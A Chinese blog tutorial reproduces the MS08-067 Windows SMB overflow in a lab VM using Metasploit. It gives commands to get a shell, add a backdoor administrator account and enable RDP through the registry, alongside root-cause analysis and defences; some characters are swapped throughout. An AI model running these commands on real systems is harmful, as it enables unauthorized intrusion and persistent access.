[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权

这是做者的网络安全自学教程系列,主要是关于安全工具和实践操做的在线笔记,特分享出来与博友们学习,但愿您们喜欢,一块儿进步。前文分享了Windows远程桌面服务漏洞(CVE-2019-0708)复现,利用RDP和Metasploit工具反弹shell。本文将讲解MS08-067远程代码执行漏洞(CVE-2008-4250),它是Windows Server服务RPC请求缓冲区溢出漏洞,利用445端口,并经过Metasploit工具获取shell及进行深刻的操做。本文是一篇CVE漏洞还原的基础性文章,但愿对您有所帮助。php

做者做为网络安全的小白,分享一些自学基础教程给你们,主要是关于安全工具和实践操做的在线笔记,但愿您们喜欢。同时,更但愿您能与我一块儿操做和进步,后续将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是文章对您有帮助,将是我创做的最大动力,点赞、评论、私聊都可,一块儿加油喔~html

PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合本身的经验和实践进行撰写,也推荐你们阅读参考文献。git

下载地址:https://github.com/eastmountyxz/MS08-067-RPC
安全工具:https://github.com/eastmountyxz/NetworkSecuritySelf-studygithub


声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。web

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客经常使用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell正则表达式


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包算法



一.漏洞描述

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,形成栈缓冲区内存错误,从而被利用实施远程代码执行。shell

当用户在受影响的系统上收到RPC请求时,该漏洞会容许远程执行代码,攻击者能够在未经身份验证状况下利用此漏洞运行任意代码。同时,该漏洞能够用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:数据库

  • Windows 2000
  • Windows XP
  • Windows Server 2003

漏洞原理:
MS08-067漏洞是经过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其余主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),形成可被利用实施远程代码执行(Remote Code Execution)。后续部分我将分析该漏洞的CFG流程图及漏洞成因。编程

在这里插入图片描述

本文参考了不少大佬的文章,再次感谢他们。实验部分是结合本身的实践和经验讲解,若是存在错误或不足之处,也请批评和指正。



二.环境搭建

1.环境准备

  • 受害机:Windows XP SP1镜像
  • 攻击机:Kali系统

第一步,在虚拟机中安装Windows XP SP1系统和Kali系统。

在这里插入图片描述


第二步,虚拟机两个系统之间可以相互通讯。

  • Kali:192.168.44.136
  • Win XP:192.168.44.135

在这里插入图片描述

在这里插入图片描述


第三步,打开Windows XP系统,肯定445端口开启。以下图所示,在Win XP的CMD中输入“netstat -sn”查看端口445是否打开。

在这里插入图片描述


第四步,关闭Windows XP系统的防火墙。

在这里插入图片描述

作完这些初始准备以后,咱们开始利用Kali系统进行漏洞复现。


2.端口详解

这里做者补充一些端口的基础知识,更有利于咱们进行Web渗透实验。

(1) 端口做用
咱们知道,一台拥有IP地址的主机能够提供许多服务,好比Web服务、FTP服务、SMTP服务等,这些服务彻底能够经过1个IP地址来实现。那么,主机是怎么区分不一样的网络服务呢?显然不能只靠IP地址,由于IP地址与网络服务的关系是一对多的关系,其实是经过“IP地址+端口号”来区分不一样的服务的。

须要注意的是,端口并非一一对应的。好比你的电脑做为客户机访问一台WWW服务器时,WWW服务器使用“80”端口与你的电脑通讯,但你的电脑则可能使用“3456”这样的端口。以下图所示:

在这里插入图片描述


(2) 端口的分类
端口共1-65535号,知名端口范围从0到1023,这些端口号通常固定分配给一些服务,你们尽可能不要使用。好比21端口分配给FTP服务,25端号分配给SMTP邮件传输协议服务,80端口分配给HTTP服务,135端口分配给RPC远程过程调用服务等等。

动态端口的范围从1024到65535,这些端口号通常不固定分配给某个服务,也就是说许多服务均可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就能够从这些端口号中分配一个供该程序使用。好比1024端口就是分配给第一个向系统发出申请的程序,在关闭程序进程后,就会释放所占用的端口号。注意,端口冲突就不能正常工做。

同时,动态端口号也经常被病毒木马程序所利用,如冰河默认链接端口号是762六、WAY 2.4链接端口号是80十一、Netspy 3.0链接端口号是730六、YAI病毒链接端口号是1024等等。


(3) 常见的端口

端口号 含义
21 FTP文件传输协议代理服务器经常使用端口号
22 SSH安全登陆、SCP文件传输、端口重定向端口号
23 Telnet远程登陆协议代理服务器经常使用端口号
25 SMTP Simple Mail Transfer Protocol (E-mail) 端口号(木马Antigen、WinPC等开放该端口)
53 DNS域名解析服务端口号
80/8080 HTTP协议代理服务器经常使用端口号
110 POP3“邮局协议版本3”使用的端口号
443 HTTPS加密的超文本传输服务端口号
445 经过SMB(服务器信息块)协议,访问各类共享文件夹或共享打印机
1080 SOCKS代理协议服务器经常使用端口号
1433 MSSQL SERVER数据库默认端口号
1521 Oracle数据库服务端口号
1863 MSN Messenger的文件传输功能所使用的端口号
3306 MYSQL默认端口号
3389 Microsoft RDP微软远程桌面使用的端口号
5631 Symantec pcAnywhere远程控制数据传输时使用的端口号
5632 Symantec pcAnywhere 主控端扫描被控端时使用的端口号
4000/8000 腾讯QQ端口号

(4) 黑客经过端口能够干什么

  • 信息收集
  • 目标探测
  • 服务判断
  • 系统判断
  • 角色分析

(5) 445端口
谢公子大佬在 “13五、13七、13八、139和445端口” 文章中介绍过这些端口,它们都是与文件共享和打印机共享有关的端口,并且在这几个端口上常常爆发很严重的漏洞。好比2017年危害全球的永恒之蓝,就是利用的445端口。

本篇文章的445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它咱们能够在局域网中轻松访问各类共享文件夹或共享打印机,但也正是由于有了它,黑客们才有了可乘之机,他们能经过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!

总之,公开服务器打开139和445端口是一件很是危险的事情。 若是有Guest账号,并且没有设置任何密码时,就可以被人经过因特网轻松地盗看文件。若是给该账号设置了写入权限,甚至能够轻松地篡改文件。也就是说在对外部公开的服务器中不该该打开这些端口。经过因特网使用文件服务器就等同自杀行为,所以必定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器能够说也是如此。



三.利用Metasploit复现漏洞

  • 攻击机:Kali - 192.168.44.136
  • 受害机:Win XP - 192.168.44.135

第一步,利用Nmap工具扫描端口及确认该漏洞是否存在。

nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open

nmap漏扫脚本目录为“/usr/share/nmap/script/”,以下图所示,扫描结果为VULNERABLE,表示MS0808-067漏洞存在且能够利用。

在这里插入图片描述

或者使用 “nmap -sV -Pn 192.168.44.135” 查看目标主机开放的端口。目标机开放了13五、13九、44五、102五、5000端口,且目标机系统为Windows XP。做为黑客,一看到XP或2003系统的445端口开放,咱们就能想到轰动一时的MS08-067。

nmap  -sV -Pn 192.168.44.135

在这里插入图片描述


第二步,进入Msfconsole并利用search语句查找漏洞利用模块。
终端内输入msfconsole打开metasploite命令行客户端,使用search命令查找ms08-067的漏洞利用模块。

msfconsole
search ms08-067

在这里插入图片描述



第三步,进入漏洞模块,并查看相关的使用说明。
使用use命令选择咱们要使用的利用模块。target设置为系统默认是自动定位,若是须要精肯定位,能够show targets查看全部,而后进行选择。

use exploit/windows/smb/ms08_067_netapi
show options
show targets

在这里插入图片描述


第四步,设置攻击机、受害机信息。

# 目标机ip
set RHOST 192.168.44.135
# 端口号
set RPORT 445
# 设置payload
set payload generic/shell_bind_tcp
# 攻击机ip
set LHOST 192.168.44.136
# 设置自动类型
set target 0
# 显示配置信息
show options

在这里插入图片描述


第五步,运行exploit反弹shell。
此时咱们成功获取了Windows XP系统的Shell,咱们调用“ipconfig”查看的IP地址也是目标的“192.168.44.135”。

exploit
session 1
ipconfig
pwd

在这里插入图片描述

注意:Windows XP SP1系统是中文而不是英文的,须要对ms08_067_netapi_ser2003_zh.rb处理。
参考:MS08-067 远程执行代码 漏洞复现 - feizianquan


第六步,在目标主机上建立文件夹及文件。

cd ..
# 建立文件夹
mkdir hacker
# 访问目录
dir
cd hacker
# 建立文件并写入内容
echo eastmount>test.txt
# 查看目标系统的基本信息
sysinfo

在这里插入图片描述

显示结果下图所示:

在这里插入图片描述


第七步,对目标XP主机进行深度提权。

# 增长普通用户
net user hacker 123456 /add 
# 提高管理员权限
net localgroup administrators hacker /add

Windows DOM用户经常使用命令以下:

  • net user abcd 1234 /add
    新建一个用户名为abcd,密码为1234的账户,默认为user组成员
  • net user abcd /del
    将用户名为abcd的用户删除
  • net user abcd /active:no
    将用户名为abcd的用户禁用
  • net user abcd /active:yes
    激活用户名为abcd的用户
  • net user abcd
    查看用户名为abcd的用户的状况
  • net localgroup administrators abcd /add
    将abcd帐户给予管理员权限

在这里插入图片描述

此时被攻击的主机新增“hacker”管理员以下图所示:

在这里插入图片描述


第八步,开启远程链接3389端口并进行远程操做。

# 开启远程链接
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程链接
rdesktop 192.168.44.135

首先查看端口,发现目标主机Windows XP并未开启3389端口。

在这里插入图片描述

输入命令开启远程链接端口。

在这里插入图片描述

接着输入“rdesktop 192.168.44.135”链接远程IP地址,并输入咱们建立好的hacker用户名及密码。

在这里插入图片描述

输入建立的用户名hacker和密码123456回车,弹出提示框点击OK,稍等就会成功远程登陆XP系统。

哇塞,是否是很惊讶!这也是本文的深度提权知识。

在这里插入图片描述

最后,咱们还须要将新建的用户名hacker删除。写到这里,整个实验就讲解完毕。



四.常见错误及漏洞缘由分析

1.常见错误

咱们在运行exploit执行漏洞利用模块时,有时会有相关错误。好比一直提示“exploit completed,but no session was created”或“ConnectionRefused the connection was refused by the remote host”。须要注意:

  • Windows XP系统关闭防火墙
  • 漏洞不稳定多尝试几回

在这里插入图片描述

有时XP系统会提示“Generic Host Process for win32 services”错误。这是svchost.exe错误,内存溢出形成。

在这里插入图片描述

在这里插入图片描述

最终做者解决了XP系统没法提权的问题,在调用“show payloads”设置攻击载荷时,当我采用“set payload generic/shell_reverse_tcp”就会报错,最后我将Payload修改成“set payload generic/shell_bind_tcp”。

  • 反弹shell失败:set payload generic/shell_reverse_tcp
  • 反弹shell成功:set payload generic/shell_bind_tcp

若是仍然失败,可能须要换其余XP或2003系统进行尝试。祝好运~

在这里插入图片描述



2.漏洞成因

若是想了解该漏洞的原理知识,推荐如下三篇文章,后续做者也须要深刻去分析各类漏洞的原代码。

MS08-067漏洞是经过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其余主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,形成可被利用实施远程代码执行。

所谓路径规范化,就是将路径字符串中的【/】转换为【\】,同时去除相对路径【.\】和【..\】。如:
**/*/./** => **\*\** **\*\..\** => **\** 

在路径规范化的操做中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者经过精心设计输入路径,能够在函数去除【…\】字符串时,把路径字符串中内容复制到路径串以前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。

这里经过IDA Pro打开c:\windows\system32\netapi32.dll,找到漏洞所在的NetpwPathCanonicalize函数并双击。经过观察其流程图CFG可知,此函数并无直接进行输入路径和规范化,而是调用了下级函数CanonicalizePathName来进行路径整理,将待整理的路径字符串进行规范化,而后再保存到预先分配的输出路径缓冲区buffer中,最终形成缓冲区溢出漏洞。

在这里插入图片描述



五.总结

写到这里,这篇文章就介绍结束了,经过本次实验咱们复现了MS08-067远程代码执行漏洞,涉及漏洞发现、验证漏洞、利用漏洞的完整过程,并利用Metasploit工具进行shell反弹及深刻理解,但愿对您有所帮助。如何进行防护呢?一方面关闭相关端口、安装杀毒软件和补丁,另外一方面在防火墙中进行流量监测,主要是针对数据包中存在的形如"\ ** \ … \ … \ *"这样的恶意路径名进行检测,最为保险的方法是使用pcre正则去匹配。

本次实验的完整命令:

# 端口查询
nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open

# 查找漏洞利用模块
msfconsole
search ms08-067

# 漏洞利用
use exploit/windows/smb/ms08_067_netapi
show options
show targets

# 设置相关配置信息
set RHOST 192.168.44.135
set RPORT 445
set payload generic/shell_bind_tcp
set LHOST 192.168.44.136
set target 0
show options

# 反弹shell
exploit
session 1
ipconfig
pwd

# 目标主机文件操做
cd ..
mkdir hacker
dir
cd hacker
echo eastmount>test.txt
sysinfo

# 深度提权及远程链接操做
net user hacker 123456 /add 
net localgroup administrators hacker /add
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
netstat -an
rdesktop 192.168.44.135

但愿这系列文章对您有所帮助,真的感受本身技术好菜,要学的知识好多。这是第58篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,做为初学者,本身真是爬着前行,感谢不少人的帮助,继续爬着,继续加油!

欢迎你们讨论,是否以为这系列文章帮助到您!任何建议均可以评论告知读者,共勉。

(By:Eastmount 2020-03-14 周末下午5点写于贵阳 http://blog.csdn.net/eastmount/ )



参考文献:
[1] https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2008/MS08-067
[2] MS08-067利用 - s0mor
[3] MS08-067 远程执行代码 漏洞复现 - feizianquan
[4] MS08-067远程溢出漏洞(CVE-2008-4250)- Waldo_cuit
[5] MS08-067复现与简单分析 - 看雪论坛 有毒
[6] ms08-067漏洞复现与利用 - 张德亮
[7] CVE-2019-0708,MS17-010,MS08-067漏洞复现 - dazhuanlan
[8] Metasploit入门到精通 - i春秋视频
[9] Metasploitable渗透测试实战——Windows漏洞 MS08-067复现 - HsinTsao
[10] MS08_067漏洞学习研究 - justforfun12
https://www.bilibili.com/video/av79638906
[11] MS08-067漏洞原理及详尽分析过程 - FreeBuf Dhakkan
[12] 13五、13七、13八、139和445端口 - 谢公子大佬